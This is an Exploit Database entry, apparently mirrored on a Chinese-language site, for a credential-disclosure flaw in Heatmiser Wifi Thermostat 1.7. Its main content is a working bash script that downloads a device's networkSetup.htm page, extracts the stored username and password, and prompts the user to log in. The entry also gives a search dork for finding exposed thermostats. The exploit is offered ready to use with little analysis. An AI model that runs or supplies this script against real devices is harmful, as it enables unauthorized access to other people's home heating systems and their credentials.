Heatmiser Wifi Thermostat 1.7 – Credential Disclosure

• Exploit Database
• 113 阅读

• 作者： d0wnp0ur
  日期： 2018-10-16
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45623/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title: Heatmiser Wifi Thermostat 1.7 - Credential Disclosure # Dork: intitle:"Heatmiser Wifi Thermostat" # Date: 2018-08-17 # Exploit Author: d0wnp0ur # Original Discoverer: Andrew Tierney # Vendor Lnk: https://www.heatmiser.com/en/ # Product Link: https://www.heatmiser.com/en/wireless-thermostats/ # Tested on: Heatmiser Version 1.7 # CVE: N/A   #!/bin/bash   echo Heatmiser Smart Thermometer Hack echo By d0wnp0ur echo Usage: $0 \<ip\[:port\]\> \(Default is 80. If it doesn\&apos;t work, try port 8081\) echo This tool gets the username and password of a vulnerable Heatmiser thermostat echo Deleting old files rm networkSetup.htm* echo Copying disclosing page wget http://$1/networkSetup.htm echo Getting Username and Password echo Username: cat networkSetup.htm | grep "User" | grep "Name:" | awk -F &apos;value=&apos; &apos;{print $2}&apos; | cut -d &apos;"&apos; -f 2 echo Password: cat networkSetup.htm | grep "User" | grep "Password:" |grep -v -i "confirm" |awk -F &apos;value=&apos; &apos;{print $2}&apos; | cut -d &apos;"&apos; -f 2 echo Success! Log in to the web interface with the above credentials. echo http://$1